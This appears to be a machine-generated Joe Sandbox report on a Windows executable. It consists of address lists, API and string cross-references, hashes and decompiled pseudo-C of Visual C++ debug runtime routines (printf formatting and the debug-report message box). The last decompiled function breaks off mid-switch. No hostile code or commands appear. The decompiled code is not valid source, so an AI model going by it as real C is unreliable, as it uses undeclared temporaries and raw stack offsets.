0x0043bb18
0x0043bb1b
0x0043bb1f
0x0043bb21
0x0043bb24
0x0043bb24
0x0043bb27
0x0043bb2a
0x0043bb2d
0x0043bb2f
0x0043bb2f
0x0043bb32
0x0043bb48
0x00000000
0x00000000
0x0043bb4d
0x0043bb4d
0x00000000
0x00000000
0x0043bb59
0x0043bb59
0x0043bb60
0x0043bb63
0x0043bb83
0x0043bb86
0x0043bb86
0x0043bb90
0x0043bb90
0x0043bb94
0x0043bb65
0x0043bb65
0x0043bb71
0x0043bb74
0x0043bb78
0x0043bb7a
0x0043bb7a
0x0043bb81
0x00000000
0x00000000
0x0043bb9c
0x0043bb9c
0x0043bba3
0x0043bbaf
0x0043bbb2
0x0043bbb8
0x0043bbbf
0x0043bcd2
0x00000000
0x0043bcd2
0x0043bbc5
0x0043bbcb
0x0043bbcb
0x0043bbd2
0x00000000
0x0043bc09
0x0043bc09
0x0043bc0c
0x0043bc0f
0x0043bc12
0x0043bc39
0x0043bc39
0x0043bc3c
0x0043bc3f
0x0043bc42
0x0043bc66
0x0043bc66
0x0043bc69
0x0043bc6c
0x0043bc6f
0x0043bca8
0x0043bcb9
0x00000000
0x0043bcb9
0x0043bc71
0x0043bc71
0x0043bc74
0x0043bc77
0x0043bc7a
0x00000000
0x00000000
0x0043bc7c
0x0043bc7c
0x0043bc7f
0x0043bc82
0x0043bc85
0x00000000
0x00000000
0x0043bc87
0x0043bc87
0x0043bc8a
0x0043bc8d
0x0043bc90
0x00000000
0x00000000
0x0043bc92
0x0043bc92
0x0043bc95
0x0043bc98
0x0043bc9b
0x00000000
0x00000000
0x0043bc9d
0x0043bc9d
0x0043bca0
0x0043bca3
0x0043bca6
0x0043bcaa
0x00000000
0x0043bcaa
0x00000000
0x0043bca6
0x0043bc44
0x0043bc44
0x0043bc47
0x0043bc4b
0x0043bc4e
0x00000000
0x0043bc50
0x0043bc53
0x0043bc56
0x0043bc5c
0x0043bc61
0x00000000
0x0043bc61
0x0043bc4e
0x0043bc14
0x0043bc14
0x0043bc17
0x0043bc1b
0x0043bc1e
0x00000000
0x0043bc20
0x0043bc23
0x0043bc26
0x0043bc2c
0x0043bc31
0x00000000
0x0043bc31
0x00000000
0x0043bcbb
0x0043bcbb
0x0043bcbe
0x0043bcc1
0x00000000
0x00000000
0x0043bbd9
0x0043bbd9
0x0043bbdc
0x0043bbdf
0x0043bbe2
0x0043bbfb
0x0043bbfe
0x0043bbfe
0x0043bc01
0x0043bbe4
0x0043bbe4
0x0043bbe7
0x0043bbea
0x0043bbf0
0x0043bbf6
0x0043bbf6
0x00000000
0x00000000
0x0043bcc6
0x0043bcc6
0x0043bcc9
0x0043bcc9
0x0043bccf
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0043bcd7
0x0043bcd7
0x0043bcde
0x0043bce4
0x0043bcea
0x0043bced
0x0043bcf3
0x0043bcfa
0x00000000
0x0043c550
0x0043c550
0x0043c550
0x0043c550
0x0043c554
0x00000000
0x00000000
0x00000000
0x0043c554
0x0043c507
0x0043c50d
0x0043c510
0x0043c513
0x0043c516
0x0043c519
0x0043c51f
0x0043c51f
0x0043c51f
0x0043c527
0x0043c52b
0x00000000
0x00000000
0x0043c52d
0x0043c52d
0x0043c530
0x0043c533
0x0043c533
0x0043c538
0x0043c53b
0x0043c53e
0x0043c541
0x0043c544
0x0043c547
0x0043c54a
0x0043c54a
0x0043c54d
0x0043c550
0x0043c550
0x0043c554
0x00000000
0x00000000
0x00000000
0x0043c554
0x0043c550
0x0043bd00
0x0043bd06
0x0043bd06
0x0043bd0d
0x00000000
0x0043c091
0x0043c091
0x0043c09f
0x0043c09f
0x0043c0a2
0x00000000
0x00000000
0x0043bd14
0x0043bd17
0x0043bd17
0x0043bd1d
0x0043bd1f
0x0043bd22
0x0043bd22
0x0043bd25
0x0043bd25
0x00000000
0x00000000
0x0043be5a
0x0043be5d
0x0043be5d
0x0043be62
0x0043be64
0x0043be67
0x0043be67
0x0043be6a
0x0043be6a
0x00000000
0x00000000
0x0043c25d
0x0043c25d
0x00000000
0x00000000
0x0043bdc4
0x0043bdc4
0x0043bdd0
0x0043bdd6
0x0043bddd
0x0043bdeb
0x0043bdeb
0x0043bdf1
0x0043bdf4
0x0043be00
0x0043be55
0x00000000
0x0043be55
0x0043bddf
0x0043bddf
0x0043bde5
0x0043bde9
0x0043be08
0x0043be08
0x0043be0e
0x0043be36
0x0043be3d
0x0043be43
0x0043be46
0x0043be49
0x0043be4f
0x0043be52
0x0043be10
0x0043be10
0x0043be16
0x0043be19
0x0043be1c
0x0043be22
0x0043be25
0x0043be28
0x0043be2a
0x0043be2d
0x0043be2d
0x00000000
0x0043be0e
0x00000000
0x00000000
0x0043c0a9
0x0043c0ac
0x0043c0af
0x0043c0b2
0x0043c0b8
0x0043c0bb
0x0043c0c2
0x0043c0c6
0x0043c0d1
0x0043c0d1
0x0043c0d5
0x0043c0ec
0x0043c0ec
0x0043c0f3
0x0043c0f5
0x0043c0f5
0x0043c0fc
0x0043c0fc
0x0043c103
0x0043c111
0x0043c114
0x0043c123
0x0043c126
0x0043c12a
0x0043c13f
0x0043c12c
0x0043c12c
0x0043c12f
0x0043c135
0x0043c13a
0x0043c13a
0x0043c12a
0x0043c149
0x0043c14c
0x0043c14f
0x0043c152
0x0043c155
0x0043c158
0x0043c15e
0x0043c164
0x0043c16c
0x0043c16d
0x0043c170
0x0043c171
0x0043c174
0x0043c175
0x0043c17c
0x0043c17d
0x0043c180
0x0043c181
0x0043c184
0x0043c185
0x0043c18b
0x0043c18c
0x0043c19b
0x0043c19d
0x0043c1a3
0x0043c1a3
0x0043c1a8
0x0043c1aa
0x0043c1ae
0x0043c1b0
0x0043c1b8
0x0043c1b9
0x0043c1bc
0x0043c1bd
0x0043c1cc
0x0043c1ce
0x0043c1ce
0x0043c1ae
0x0043c1d1
0x0043c1d8
0x0043c1db
0x0043c1e0
0x0043c1e0
0x0043c1e6
0x0043c1e8
0x0043c1f0
0x0043c1f1
0x0043c1f4
0x0043c1f5
0x0043c203
0x0043c205
0x0043c205
0x0043c1e6
0x0043c208
0x0043c20b
0x0043c20e
0x0043c211
0x0043c216
0x0043c21b
0x0043c21e
0x0043c221
0x0043c221
0x0043c224
0x0043c224
0x0043c227
0x0043c233
0x0043c550
0x0043c550
0x0043c554
0x00000000
0x00000000
0x00000000
0x0043c554
0x00000000
0x0043c550
0x0043c0d7
0x0043c0d7
0x0043c0de
0x0043c0e1
0x00000000
0x00000000
0x0043c0e3
0x0043c0e3
0x00000000
0x0043c0e3
0x0043c0c8
0x0043c0c8
0x00000000
0x00000000
0x0043bd28
0x0043bd28
0x0043bd33
0x0043bd3b
0x0043bd42
0x0043bd45
0x0043bd45
0x0043bd48
0x0043bda8
0x0043bd4a
0x0043bd51
0x0043bd57
0x0043bd5d
0x0043bd64
0x0043bd67
0x0043bd6d
0x0043bd75
0x0043bd77
0x0043bd7e
0x0043bd85
0x0043bd8c
0x0043bd94
0x0043bd96
0x0043bd98
0x0043bd98
0x0043bd9f
0x0043bdaf
0x0043bdb5
0x0043bdb8
0x0043c550
0x0043c550
0x0043c554
0x00000000
0x00000000
0x00000000
0x0043c554
0x00000000
0x0043c23b
0x0043c23e
0x0043c241
0x0043c244
0x00000000
0x00000000
0x00000000
0x00000000
0x0043c2a4
0x0043c2a4
0x0043c2ae
0x0043c2ae
0x0043c2b4
0x0043c2b6
0x0043c2b9
0x0043c2b9
0x0043c2bf
0x0043c2bf
0x00000000
0x00000000
0x0043c256
0x0043c256
0x00000000
0x00000000
0x0043be6d
0x0043be6d
0x0043be71
0x0043be7f
0x0043be82
0x0043be73
0x0043be73
0x0043be73
0x0043be88
0x0043be8e
0x0043be94
0x0043bea0
0x0043bea6
0x0043bea6
0x0043bea9
0x0043bf31
0x0043bf31
0x0043bf35
0x0043bf37
0x0043bf3d
0x0043bf3d
0x0043bf40
0x0043bf47
0x0043bf4a
0x0043bf50
0x0043bf50
0x0043bf50
0x0043bf56
0x0043bf5c
0x0043bf5f
0x0043bf65
0x0043bf67
0x00000000
0x00000000
0x0043bf69
0x0043bf69
0x0043bf6f
0x0043bf72
0x0043bf74
0x00000000
0x00000000
0x0043bf76
0x0043bf7c
0x0043bf7f
0x0043bf7f
0x0043bf87
0x0043bf87
0x0043bf8d
0x0043bf8d
0x0043bf92
0x00000000
0x0043beaf
0x0043beaf
0x0043beaf
0x0043beb3
0x0043beb5
0x0043beba
0x0043beba
0x0043bebd
0x0043bec0
0x0043bec6
0x0043bed8
0x0043bed8
0x0043bed8
0x0043bedb
0x0043bee1
0x00000000
0x00000000
0x0043bee3
0x0043bee3
0x0043bee9
0x0043beec
0x0043beee
0x00000000
0x00000000
0x0043bef0
0x0043bef0
0x0043bef9
0x0043beff
0x0043bf03
0x0043bf0b
0x0043bf0d
0x0043bf0f
0x0043bf15
0x0043bf15
0x0043bf18
0x0043bf18
0x0043bf24
0x0043bf27
0x0043becf
0x0043bed2
0x0043bed2
0x0043bed5
0x0043bed5
0x0043bf2f
0x0043bf95
0x0043c550
0x0043c550
0x0043c554
0x00000000
0x00000000
0x00000000
0x0043c554
0x0043c550
0x00000000
0x0043c24d
0x0043c24d
0x00000000
0x00000000
0x0043c269
0x0043c269
0x0043c273
0x0043c273
0x0043c27d
0x0043c27d
0x0043c283
0x0043c285
0x0043c28a
0x0043c294
0x0043c294
0x0043c297
0x0043c29b
0x0043c29b
0x0043c2c2
0x0043c2c5
0x0043c2c5
0x0043c2ca
0x0043c2ec
0x0043c2ec
0x0043c2f2
0x0043c314
0x0043c314
0x0043c317
0x0043c35e
0x0043c35e
0x0043c361
0x0043c37e
0x0043c382
0x0043c38a
0x0043c38a
0x0043c38c
0x0043c392
0x0043c363
0x0043c363
0x0043c367
0x0043c36f
0x0043c370
0x0043c376
0x0043c376
0x0043c319
0x0043c31c
0x0043c31c
0x0043c31f
0x0043c33d
0x0043c349
0x0043c34c
0x0043c34d
0x0043c353
0x0043c321
0x0043c321
0x0043c325
0x0043c32d
0x0043c32e
0x0043c32f
0x0043c335
0x0043c335
0x0043c359
0x0043c2f4
0x0043c2f4
0x0043c300
0x0043c306
0x0043c306
0x0043c2cc
0x0043c2cc
0x0043c2d8
0x0043c2de
0x0043c2de
0x0043c39b
0x0043c39b
0x0043c39e
0x0043c3e0
0x0043c3e0
0x0043c3e6
0x0043c3ec
0x0043c3f2
0x00000000
0x0043c3a0
0x0043c3a0
0x0043c3a0
0x0043c3a7
0x00000000
0x00000000
0x0043c3a9
0x0043c3a9
0x0043c3b4
0x0043c3ba
0x0043c3bc
0x0043c3c2
0x0043c3c5
0x0043c3c7
0x0043c3cd
0x0043c3d6
0x0043c3db
0x0043c3f8
0x0043c3fb
0x0043c3fb
0x0043c400
0x0043c405
0x0043c405
0x0043c40b
0x0043c40d
0x0043c413
0x0043c419
0x0043c419
0x0043c422
0x0043c422
0x0043c40b
0x0043c428
0x0043c42c
0x0043c43a
0x0043c43d
0x0043c440
0x0043c447
0x0043c449
0x0043c449
0x0043c42e
0x0043c42e
0x0043c42e
0x0043c456
0x0043c456
0x0043c45c
0x0043c45e
0x0043c45e
0x0043c465
0x0043c46b
0x0043c46e
0x0043c46e
0x0043c46e
0x0043c474
0x0043c477
0x0043c47a
0x0043c47c
0x00000000
0x00000000
0x0043c47e
0x0043c484
0x0043c484
0x0043c48a
0x00000000
0x00000000
0x0043c48c
0x0043c48c
0x0043c48f
0x0043c492
0x0043c499
0x0043c4a0
0x0043c4a8
0x0043c4ae
0x0043c4b1
0x0043c4b4
0x0043c4bb
0x0043c4c7
0x0043c4cd
0x0043c4d3
0x0043c4da
0x0043c4dc
0x0043c4e2
0x0043c4e2
0x0043c4e8
0x0043c4e8
0x0043c4ee
0x0043c4f7
0x0043c4fc
0x0043c4ff
0x0043c46e
0x0043c46e
0x0043c474
0x0043c477
0x0043c47a
0x0043c47c
0x00000000
0x00000000
0x00000000
0x0043c47c
0x0043c46e
0x0043c3ab
0x0043c3ab
0x0043c3b2
0x00000000
0x00000000
0x00000000
0x0043c3b2
0x00000000
0x0043c550
0x0043c550
0x0043c554
0x00000000
0x00000000
0x00000000
0x0043c554
0x00000000
0x00000000
0x0043bad9
0x0043bad9
0x0043badc
0x0043badf
0x00000000
0x00000000
0x0043bae4
0x0043bae7
0x0043baed
0x00000000
0x00000000
0x0043bace
0x0043bad1
0x0043bad4
0x00000000
0x00000000
0x0043bac3
0x0043bac6
0x0043bac9
0x00000000
0x00000000
0x0043baf2
0x0043baf2
0x0043baf5
0x0043baf5
0x0043baf8
0x00000000
0x00000000
0x0043bafb
0x00000000
0x00000000
0x0043b96b
0x0043b96b
0x0043b96d
0x0043b97b
0x0043b96f
0x0043b96f
0x0043b96f
0x0043b98b
0x0043b998
0x0043b99a
0x0043b99f
0x0043b9a1
0x0043b9a6
0x0043b9ab
0x0043b9ad
0x0043b9b2
0x0043b9b8
0x0043b9ba
0x0043b9ba
0x0043b9b8
0x0043b9bb
0x0043b9c2
0x00000000
0x0043b9c4
0x0043b9c9
0x0043b9e5
0x0043b9ed
0x0043b9fa
0x0043b9ff
0x00000000
0x0043b9ff
0x0043b9c2
0x0043b965
0x0043c750
0x0043c757
0x0043c76e
0x0043c76e
0x0043c778
0x0043c778
0x0043c77e
0x0043c78b
0x0043c78d
0x0043c792
0x0043c794
0x0043c799
0x0043c79e
0x0043c7a0
0x0043c7a5
0x0043c7ab
0x0043c7ad
0x0043c7ad
0x0043c7ab
0x0043c7b5
0x0043c800
0x0043c809
0x0043c80e
0x0043c7b7
0x0043c7bc
0x0043c7d8
0x0043c7e0
0x0043c7ed
0x0043c7f2
0x0043c7f2
0x00000000
0x0043c7b5
0x0043c759
0x0043c760
0x00000000
0x00000000
0x0043c762
0x0043c762
0x00000000
0x0043c762
0x0043c012
0x0043c012
0x0043c017
0x0043c033
0x0043c03b
0x0043c045
0x0043c048
0x0043c04d
0x0043c814
0x0043c821
0x0043c821
0x0043c05d
0x0043c063
0x0043c083
0x0043c065
0x0043c072
0x0043c072
0x0043c085
0x00000000
0x0043c085

APIs

_get_int_arg.LIBCMTD ref: 0043BF9E
__get_printf_count_output.LIBCMTD ref: 0043BFAC
__invalid_parameter.LIBCMTD ref: 0043C033
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 0043C048
_write_multi_char.LIBCMTD ref: 0043C5DB
_write_string.LIBCMTD ref: 0043C5F6
_write_multi_char.LIBCMTD ref: 0043C622
__mbtowc_l.LIBCMTD ref: 0043C691

Strings

("'n' format specifier disabled", 0), xrefs: 0043BFE8, 0043C02E
("Incorrect format specifier", 0), xrefs: 0043B99A, 0043B9E0
_woutput_s_l, xrefs: 0043B9DB, 0043C029
f:\dd\vctools\crt_bld\self_x86\crt\src\output.c, xrefs: 0043B9A6, 0043B9D6, 0043BFF4, 0043C024

Memory Dump Source

Source File: 00000015.00000002.390111447.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.390089776.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.390253520.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.390284837.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.390298973.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_8939.jbxd

Similarity

API ID: Locale_write_multi_char$UpdateUpdate::~___get_printf_count_output__invalid_parameter__mbtowc_l_get_int_arg_write_string
String ID: ("'n' format specifier disabled", 0)$("Incorrect format specifier", 0)$_woutput_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\output.c
API String ID: 2386203720-1989478660
Opcode ID: fd9c668606143fd27d4ce1e06399ca55bd58dba621ef760028682ea5758b1ec3
Instruction ID: 141f8c2b2951734d0e843b87a021a62429766e1ea9da82d27b09730d0ef2751a
Opcode Fuzzy Hash: fd9c668606143fd27d4ce1e06399ca55bd58dba621ef760028682ea5758b1ec3
Instruction Fuzzy Hash: 3DA18FF1D002299BDF24DB55CC81BAEB374AF48304F14509AE6197B282E7789E84CF9D

Uniqueness

Uniqueness Score: -1.00%

Function 00429707, Relevance: 26.4, APIs: 6, Strings: 9, Instructions: 100
windowCOMMON

Download Yara Rule

C-Code - Quality: 59%

			E00429707() {
				intOrPtr _t36;
				intOrPtr* _t37;
				void* _t40;
				void* _t48;
				void* _t62;
				void* _t63;
				signed int _t64;
				void* _t66;
				void* _t67;

				 *(_t64 - 0x114c) = "...";
				if( *((intOrPtr*)(_t64 + 0x14)) == 0) {
					 *(_t64 - 0x1150) = 0x404106;
				} else {
					 *(_t64 - 0x1150) = "\nModule: ";
				}
				_push( *((intOrPtr*)(_t64 - 0x1124)));
				_push( *((intOrPtr*)(_t64 - 0x1128)));
				_push( *((intOrPtr*)(_t64 - 0x112c)));
				_push( *((intOrPtr*)(_t64 - 0x1130)));
				_push( *((intOrPtr*)(_t64 - 0x1134)));
				_push( *((intOrPtr*)(_t64 - 0x1138)));
				_push( *((intOrPtr*)(_t64 - 0x113c)));
				_push( *((intOrPtr*)(_t64 - 0x1140)));
				_push( *((intOrPtr*)(_t64 - 0x1144)));
				_push( *(_t64 - 0x114c));
				_push( *(_t64 - 0x1150));
				_push( *((intOrPtr*)(_t64 - 8)));
				_t61 =  *(_t64 + 8);
				_t53 = _t64 - 0x1010;
				_t36 = E0042BB30(_t64 - 0x1010, _t64 - 0x1010, 0x1000, 0xfff, "Debug %s!\n\nProgram: %s%s%s%s%s%s%s%s%s%s%s%s\n\n(Press Retry to debug the application)",  *((intOrPtr*)( *(_t64 + 8) * 4 + "8R@")));
				_t67 = _t66 + 0x44;
				 *((intOrPtr*)(_t64 - 0xc)) = _t36;
				if( *((intOrPtr*)(_t64 - 0xc)) < 0) {
					_t61 =  *(L00422D10(_t53));
					E0041D8F0( *(L00422D10(_t53)), 0x16, 0x22, L"(*_errno())", L"__crtMessageWindowA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrpt.c", 0x160, 0);
					_t67 = _t67 + 0x20;
				}
				_t37 = L00422D10(_t53);
				_t54 =  *((intOrPtr*)(_t64 - 0x1120));
				 *_t37 =  *((intOrPtr*)(_t64 - 0x1120));
				if( *((intOrPtr*)(_t64 - 0xc)) < 0) {
					_t61 = _t64 - 0x1010;
					E0041DE60(E0041D9E0(_t48, _t54, _t63, _t64 - 0x1010, 0x1000, "_CrtDbgReport: String too long or IO Error"), _t44, L"strcpy_s(szOutMessage, 4096, \"_CrtDbgReport: String too long or IO Error\")", L"__crtMessageWindowA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrpt.c", 0x165, 0);
					_t67 = _t67 + 0x24;
				}
				 *((intOrPtr*)(_t64 - 0x111c)) = E00435750(_t64 - 0x1010, "Microsoft Visual C++ Debug Library", 0x12012);
				if( *((intOrPtr*)(_t64 - 0x111c)) == 3) {
					E0042D290(0x16);
					E00425F00(3);
				}
				if( *((intOrPtr*)(_t64 - 0x111c)) != 4) {
					_t40 = 0;
				} else {
					_t40 = 1;
				}
				return E0042BB60(_t40, _t48,  *(_t64 - 0x10) ^ _t64, _t61, _t62, _t63);
			}

0x00429707
0x00429721
0x0042972f
0x00429723
0x00429723
0x00429723
0x0042973f
0x00429746
0x0042974d
0x00429754
0x0042975b
0x00429762
0x00429769
0x00429770
0x00429777
0x0042977e
0x00429785
0x00429789
0x0042978a
0x004297a4
0x004297ab
0x004297b0
0x004297b3
0x004297ba
0x004297db
0x004297de
0x004297e3
0x004297e3
0x004297e6
0x004297eb
0x004297f1
0x004297f7
0x00429819
0x00429829
0x0042982e
0x0042982e
0x0042984a
0x00429857
0x0042985b
0x00429865
0x00429865
0x00429871
0x0042987a
0x00429873
0x00429873
0x00429873
0x00429889

APIs

__snwprintf_s.LIBCMTD ref: 004297AB
__invoke_watson_if_oneof.LIBCMTD ref: 004297DE
_wcscpy_s.LIBCMTD ref: 00429820
__invoke_watson_if_error.LIBCMTD ref: 00429829
___crtMessageBoxW.LIBCMTD ref: 00429842
_raise.LIBCMTD ref: 0042985B

Strings

(*_errno()), xrefs: 004297CD
Debug %s!Program: %s%s%s%s%s%s%s%s%s%s%s%s(Press Retry to debug the application), xrefs: 00429795
f:\dd\vctools\crt_bld\self_x86\crt\src\dbgrpt.c, xrefs: 004297C3, 00429800
__crtMessageWindowA, xrefs: 004297C8, 00429805
strcpy_s(szOutMessage, 4096, "_CrtDbgReport: String too long or IO Error"), xrefs: 0042980A
Module: , xrefs: 00429723
Microsoft Visual C++ Debug Library, xrefs: 00429836
_CrtDbgReport: String too long or IO Error, xrefs: 0042980F
..., xrefs: 00429707, 0042977E

Memory Dump Source

Source File: 00000015.00000002.390111447.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.390089776.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.390253520.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.390284837.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.390298973.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_8939.jbxd

Similarity

API ID: Message___crt__invoke_watson_if_error__invoke_watson_if_oneof__snwprintf_s_raise_wcscpy_s
String ID: Module: $(*_errno())$...$Debug %s!Program: %s%s%s%s%s%s%s%s%s%s%s%s(Press Retry to debug the application)$Microsoft Visual C++ Debug Library$_CrtDbgReport: String too long or IO Error$__crtMessageWindowA$f:\dd\vctools\crt_bld\self_x86\crt\src\dbgrpt.c$strcpy_s(szOutMessage, 4096, "_CrtDbgReport: String too long or IO Error")
API String ID: 1485069716-2339404796
Opcode ID: 6928584f9c4ac3898be6330fd061fc5c140099a0aaccca2a1799e1eb01480f22
Instruction ID: d79f3433ac7af540061fb567f1d5e527e8b4c3b3fed517b301dc1c53640be3a6
Opcode Fuzzy Hash: 6928584f9c4ac3898be6330fd061fc5c140099a0aaccca2a1799e1eb01480f22
Instruction Fuzzy Hash: 043173B4F50228ABCB28DA55DC46FDAB374AB48704F5040EEF309B72C5D6B85E808F59

Uniqueness

Uniqueness Score: -1.00%

Function 004349D5, Relevance: 24.7, APIs: 9, Strings: 5, Instructions: 225
COMMON

Download Yara Rule

C-Code - Quality: 66%

			E004349D5(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t495;
				signed int _t497;
				signed int _t503;
				void* _t508;
				signed int _t510;
				void* _t530;
				signed int _t548;
				void* _t558;
				signed int _t566;
				signed int _t593;
				void* _t621;
				void* _t622;
				signed int _t623;
				void* _t625;
				void* _t626;

				L0:
				while(1) {
					L0:
					_t622 = __esi;
					_t621 = __edi;
					_t558 = __ebx;
					_t495 = E00428200(_t623 + 0x14);
					_t626 = _t625 + 4;
					 *((intOrPtr*)(_t623 - 0x288)) = _t495;
					if( *((intOrPtr*)(_t623 - 0x288)) == 0) {
						goto L82;
					}
					L81:
					__ecx =  *(__ebp - 0x288);
					if( *(__ecx + 4) != 0) {
						L83:
						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
						if(( *(__ebp - 0x10) & 0x00000800) == 0) {
							 *(__ebp - 0xc) = 0;
							__edx =  *(__ebp - 0x288);
							__eax =  *(__edx + 4);
							 *(__ebp - 4) =  *(__edx + 4);
							__ecx =  *(__ebp - 0x288);
							__edx =  *__ecx;
							 *(__ebp - 0x24) =  *__ecx;
						} else {
							__edx =  *(__ebp - 0x288);
							__eax =  *(__edx + 4);
							 *(__ebp - 4) =  *(__edx + 4);
							__ecx =  *(__ebp - 0x288);
							__eax =  *__ecx;
							asm("cdq");
							 *__ecx - __edx =  *__ecx - __edx >> 1;
							 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
							 *(__ebp - 0xc) = 1;
						}
						L86:
						while(1) {
							L190:
							if( *(_t623 - 0x28) != 0) {
								goto L216;
							}
							L191:
							if(( *(_t623 - 0x10) & 0x00000040) != 0) {
								if(( *(_t623 - 0x10) & 0x00000100) == 0) {
									if(( *(_t623 - 0x10) & 0x00000001) == 0) {
										if(( *(_t623 - 0x10) & 0x00000002) != 0) {
											 *((char*)(_t623 - 0x14)) = 0x20;
											 *(_t623 - 0x1c) = 1;
										}
									} else {
										 *((char*)(_t623 - 0x14)) = 0x2b;
										 *(_t623 - 0x1c) = 1;
									}
								} else {
									 *((char*)(_t623 - 0x14)) = 0x2d;
									 *(_t623 - 0x1c) = 1;
								}
							}
							 *((intOrPtr*)(_t623 - 0x2c4)) =  *((intOrPtr*)(_t623 - 0x18)) -  *(_t623 - 0x24) -  *(_t623 - 0x1c);
							if(( *(_t623 - 0x10) & 0x0000000c) == 0) {
								E004355C0(0x20,  *((intOrPtr*)(_t623 - 0x2c4)),  *((intOrPtr*)(_t623 + 8)), _t623 - 0x24c);
								_t626 = _t626 + 0x10;
							}
							E00435600( *(_t623 - 0x1c), _t623 - 0x14,  *(_t623 - 0x1c),  *((intOrPtr*)(_t623 + 8)), _t623 - 0x24c);
							_t626 = _t626 + 0x10;
							if(( *(_t623 - 0x10) & 0x00000008) != 0) {
								if(( *(_t623 - 0x10) & 0x00000004) == 0) {
									E004355C0(0x30,  *((intOrPtr*)(_t623 - 0x2c4)),  *((intOrPtr*)(_t623 + 8)), _t623 - 0x24c);
									_t626 = _t626 + 0x10;
								}
							}
							if( *(_t623 - 0xc) == 0) {
								L212:
								E00435600( *(_t623 - 4),  *(_t623 - 4),  *(_t623 - 0x24),  *((intOrPtr*)(_t623 + 8)), _t623 - 0x24c);
								_t626 = _t626 + 0x10;
								goto L213;
							} else {
								L204:
								if( *(_t623 - 0x24) <= 0) {
									goto L212;
								}
								L205:
								 *(_t623 - 0x2dc) = 0;
								 *(_t623 - 0x2c8) =  *(_t623 - 4);
								 *(_t623 - 0x2cc) =  *(_t623 - 0x24);
								while(1) {
									L206:
									 *(_t623 - 0x2cc) =  *(_t623 - 0x2cc) - 1;
									if( *(_t623 - 0x2cc) == 0) {
										break;
									}
									L207:
									 *(_t623 - 0x32e) =  *( *(_t623 - 0x2c8));
									_t548 = E004340D0(_t623 - 0x2d0, _t623 - 0x2d8, 6,  *(_t623 - 0x32e) & 0x0000ffff);
									_t626 = _t626 + 0x10;
									 *(_t623 - 0x2dc) = _t548;
									 *(_t623 - 0x2c8) =  *(_t623 - 0x2c8) + 2;
									if( *(_t623 - 0x2dc) != 0) {
										L209:
										 *(_t623 - 0x24c) = 0xffffffff;
										break;
									}
									L208:
									if( *(_t623 - 0x2d0) != 0) {
										L210:
										E00435600( *((intOrPtr*)(_t623 + 8)), _t623 - 0x2d8,  *(_t623 - 0x2d0),  *((intOrPtr*)(_t623 + 8)), _t623 - 0x24c);
										_t626 = _t626 + 0x10;
										continue;
									}
									goto L209;
								}
								L211:
								L213:
								if( *(_t623 - 0x24c) >= 0) {
									if(( *(_t623 - 0x10) & 0x00000004) != 0) {
										E004355C0(0x20,  *((intOrPtr*)(_t623 - 0x2c4)),  *((intOrPtr*)(_t623 + 8)), _t623 - 0x24c);
										_t626 = _t626 + 0x10;
									}
								}
							}
							L216:
							if( *(_t623 - 0x20) != 0) {
								L0041C3E0( *(_t623 - 0x20), 2);
								_t626 = _t626 + 8;
								 *(_t623 - 0x20) = 0;
							}
							while(1) {
								L218:
								 *(_t623 - 0x251) =  *( *(_t623 + 0xc));
								_t594 =  *(_t623 - 0x251);
								 *(_t623 + 0xc) =  *(_t623 + 0xc) + 1;
								if( *(_t623 - 0x251) == 0 ||  *(_t623 - 0x24c) < 0) {
									break;
								} else {
									if( *(_t623 - 0x251) < 0x20 ||  *(_t623 - 0x251) > 0x78) {
										 *(_t623 - 0x310) = 0;
									} else {
										 *(_t623 - 0x310) =  *( *(_t623 - 0x251) +  &M00407E18) & 0xf;
									}
								}
								L7:
								 *(_t623 - 0x250) =  *(_t623 - 0x310);
								_t510 =  *(_t623 - 0x250) * 9;
								_t566 =  *(_t623 - 0x25c);
								_t594 = ( *(_t510 + _t566 + 0x407e38) & 0x000000ff) >> 4;
								 *(_t623 - 0x25c) = ( *(_t510 + _t566 + 0x407e38) & 0x000000ff) >> 4;
								if( *(_t623 - 0x25c) != 8) {
									L16:
									 *(_t623 - 0x318) =  *(_t623 - 0x25c);
									if( *(_t623 - 0x318) > 7) {
										continue;
									}
									L17:
									switch( *((intOrPtr*)( *(_t623 - 0x318) * 4 +  &M00435410))) {
										case 0:
											L18:
											 *(_t623 - 0xc) = 0;
											_t513 = E004310C0( *(_t623 - 0x251) & 0x000000ff, E0041ACF0(_t623 - 0x40));
											_t629 = _t626 + 8;
											__eflags = _t513;
											if(_t513 == 0) {
												L24:
												E00435520( *(_t623 - 0x251) & 0x000000ff,  *(_t623 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t623 + 8)), _t623 - 0x24c);
												_t626 = _t629 + 0xc;
												goto L218;
											} else {
												E00435520( *((intOrPtr*)(_t623 + 8)),  *(_t623 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t623 + 8)), _t623 - 0x24c);
												_t629 = _t629 + 0xc;
												_t571 =  *( *(_t623 + 0xc));
												 *(_t623 - 0x251) =  *( *(_t623 + 0xc));
												_t594 =  *(_t623 + 0xc) + 1;
												__eflags = _t594;
												 *(_t623 + 0xc) = _t594;
												asm("sbb eax, eax");
												 *(_t623 - 0x27c) =  ~( ~( *(_t623 - 0x251)));
												if(_t594 == 0) {
													_push(L"(ch != _T(\'\\0\'))");
													_push(0);
													_push(0x486);
													_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
													_push(2);
													_t525 = L0041E220();
													_t629 = _t629 + 0x14;
